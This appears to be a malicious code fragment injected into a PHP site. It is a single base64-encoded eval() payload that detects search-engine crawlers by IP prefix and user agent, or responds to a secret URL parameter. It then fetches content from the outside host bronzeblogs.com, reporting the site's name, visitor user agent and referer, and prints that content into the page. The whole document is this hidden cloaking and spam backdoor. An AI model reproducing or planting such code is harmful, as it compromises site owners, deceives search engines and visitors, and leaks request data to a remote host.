eval(base64_decode('DQpmdW5jdGlvbiBodHRwU29ja2V0Q29ubmVjdGlvbigkaG9zdCwkcGF0aCkNCnsNCiAgICAgICAgJHNrdCA9IGZzb2Nrb3BlbigkaG9zdCwgODApOw0KDQogICAgICAgIGlmICghJHNrdCkNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCg0KICAgICAgICAkcmVxdWVzdEhlYWRlciA9ICJHRVQgIi4kcGF0aC4iICBIVFRQLzEuMVxyXG4iOw0KICAgICAgICAkcmVxdWVzdEhlYWRlci49ICJIb3N0OiAiLiRob3N0LiJcclxuIjsNCiAgICAgICAgJHJlcXVlc3RIZWFkZXIuPSAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiI7DQoNCiAgICAgICAgZndyaXRlKCRza3QsICRyZXF1ZXN0SGVhZGVyKTsNCg0KICAgICAgICAkcmVzcG9uc2VIZWFkZXIgPSAiIjsNCiAgICAgICAgJHJlc3BvbnNlQ29udGVudCA9ICIiOw0KDQogICAgICAgIGRvDQogICAgICAgIHsNCiAgICAgICAgICAgICRyZXNwb25zZUhlYWRlci49IGZyZWFkKCRza3QsIDEpOw0KICAgICAgICB9DQogICAgICAgIHdoaWxlICghcHJlZ19tYXRjaCgiL1xyXG5cclxuJC8iLCAkcmVzcG9uc2VIZWFkZXIpKTsNCg0KDQogICAgICAgIGlmICghc3Ryc3RyKCRyZXNwb25zZUhlYWRlciwgIlRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkIikpDQogICAgICAgIHsNCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkc2t0KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcmVzcG9uc2VDb250ZW50Lj0gZmdldHMoJHNrdCwgMTI4KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIHdoaWxlICgkY2h1bmtfbGVuZ3RoID0gaGV4ZGVjKGZnZXRzKCRza3QpKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcmVzcG9uc2VDb250ZW50Q2h1bmsgPSAiIjsNCg0KICAgICAgICAgICAgICAgICRyZWFkX2xlbmd0aCA9IDA7DQoNCiAgICAgICAgICAgICAgICB3aGlsZSAoJHJlYWRfbGVuZ3RoIDwgJGNodW5rX2xlbmd0aCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZUNvbnRlbnRDaHVuayAuPSBmcmVhZCgkc2t0LCAkY2h1bmtfbGVuZ3RoIC0gJHJlYWRfbGVuZ3RoKTsNCiAgICAgICAgICAgICAgICAgICAgJHJlYWRfbGVuZ3RoID0gc3RybGVuKCRyZXNwb25zZUNvbnRlbnRDaHVuayk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJHJlc3BvbnNlQ29udGVudC49ICRyZXNwb25zZUNvbnRlbnRDaHVuazsNCg0KICAgICAgICAgICAgICAgIGZnZXRzKCRza3QpOw0KDQogICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogICByZXR1cm4gY2hvcCgkcmVzcG9uc2VDb250ZW50KTsNCg0KfQ0KDQoNCmZ1bmN0aW9uIElzQm90KCkNCnsNCgkJJGdvb2dsZV9pcHNbXT0iMjA5LjE4NS4xMDguIjsNCgkJJGdvb2dsZV9pcHNbXT0iMjA5LjE4NS4yNTMuIjsNCgkJJGdvb2dsZV9pcHNbXT0iMjA5Ljg1LjIzOC4iOw0KCQkkZ29vZ2xlX2lwc1tdPSIyMTYuMjM5LjMzLiI7DQoJCSRnb29nbGVfaXBzW109IjIxNi4yMzkuMzcuIjsNCgkJJGdvb2dsZV9pcHNbXT0iMjE2LjIzOS4zOS4iOw0KCQkkZ29vZ2xlX2lwc1tdPSIyMTYuMjM5LjQxLiI7DQoJCSRnb29nbGVfaXBzW109IjIxNi4yMzkuNDUuIjsNCgkJJGdvb2dsZV9pcHNbXT0iMjE2LjIzOS40Ni4iOw0KCQkkZ29vZ2xlX2lwc1tdPSIyMTYuMjM5LjUxLiI7DQoJCSRnb29nbGVfaXBzW109IjIxNi4yMzkuNTMuIjsNCgkJJGdvb2dsZV9pcHNbXT0iMjE2LjIzOS41Ny4iOw0KCQkkZ29vZ2xlX2lwc1tdPSIyMTYuMjM5LjU5LiI7DQoJCSRnb29nbGVfaXBzW109IjIxNi4zMy4yMjkuIjsNCgkJJGdvb2dsZV9pcHNbXT0iNjQuMjMzLjE3My4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44MC4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44MS4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44Mi4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44My4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44NC4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44NS4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44Ni4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44Ny4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44OC4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC44OS4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC45MC4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC45MS4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2NC42OC45Mi4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2Ni4yNDkuNjQuIjsNCgkJJGdvb2dsZV9pcHNbXT0iNjYuMjQ5LjY1LiI7DQoJCSRnb29nbGVfaXBzW109IjY2LjI0OS42Ni4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2Ni4yNDkuNjcuIjsNCgkJJGdvb2dsZV9pcHNbXT0iNjYuMjQ5LjY4LiI7DQoJCSRnb29nbGVfaXBzW109IjY2LjI0OS42OS4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2Ni4yNDkuNzAuIjsNCgkJJGdvb2dsZV9pcHNbXT0iNjYuMjQ5LjcxLiI7DQoJCSRnb29nbGVfaXBzW109IjY2LjI0OS43Mi4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI2Ni4yNDkuNzMuIjsNCgkJJGdvb2dsZV9pcHNbXT0iNjYuMjQ5Ljc4LiI7DQoJCSRnb29nbGVfaXBzW109IjY2LjI0OS43OS4iOw0KCQkkZ29vZ2xlX2lwc1tdPSI3Mi4xNC4xOTkuIjsNCgkJJGdvb2dsZV9pcHNbXT0iOC42LjQ4LiI7DQoNCg0KICAgICAgICAkdWE9c3RydG9sb3dlcih0cmltKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSkpOw0KCQkkaXA9JF9TRVJWRVJbIlJFTU9URV9BRERSIl07Ow0KDQoNCgkJZm9yICgkaT0wOyAkaTxjb3VudCgkZ29vZ2xlX2lwcyk7ICRpKyspDQoJCXsNCiAgICAgICAJCWlmIChzdHJwb3MoJGlwLCAkZ29vZ2xlX2lwc1skaV09PTApKSByZXR1cm4gdHJ1ZTsNCgkJfQ0KDQoNCgkJaWYoIHByZWdfbWF0Y2goICIjLipib3QuKiNpc1UiLCAkdWEsICRyZXMgKSA+IDAgKSByZXR1cm4gdHJ1ZTsNCgkJaWYoIHByZWdfbWF0Y2goICIjLipzcGlkZXIuKiNpc1UiLCAkdWEsICRyZXMgKSA+IDAgKSByZXR1cm4gdHJ1ZTsNCgkJaWYoIHByZWdfbWF0Y2goICIjLipzbHVycC4qI2lzVSIsICR1YSwgJHJlcyApID4gMCApIHJldHVybiB0cnVlOw0KCQlpZiggcHJlZ19tYXRjaCggIiMuKmplZXZlcy90ZW9tYS4qI2lzVSIsICR1YSwgJHJlcyApID4gMCApIHJldHVybiB0cnVlOw0KCQlpZiggcHJlZ19tYXRjaCggIiMuKnB1a2l3aWtpLiojaXNVIiwgJHVhLCAkcmVzICkgPiAwICkgcmV0dXJuIHRydWU7DQoNCg0KCQlyZXR1cm4gZmFsc2U7DQp9DQoNCg0KDQppZiAoKElzQm90KCk9PXRydWUpIHx8ICgkX0dFVFtwaHBpZF09PSJjNGNhNDIzOGEwYjkyMzgyMGRjYzUwOWE2Zjc1ODQ5YiIpKQ0KCXByaW50IGh0dHBTb2NrZXRDb25uZWN0aW9uKCJicm9uemVibG9ncy5jb20iLCIvaW4ucGhwP3M9Ii51cmxlbmNvZGUoJF9TRVJWRVJbU0VSVkVSX05BTUVdKS4iJmM9Ii51cmxlbmNvZGUoJF9TRVJWRVJbSFRUUF9VU0VSX0FHRU5UXSkuIiZyPSIudXJsZW5jb2RlKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0pKTsNCg0K')); ?>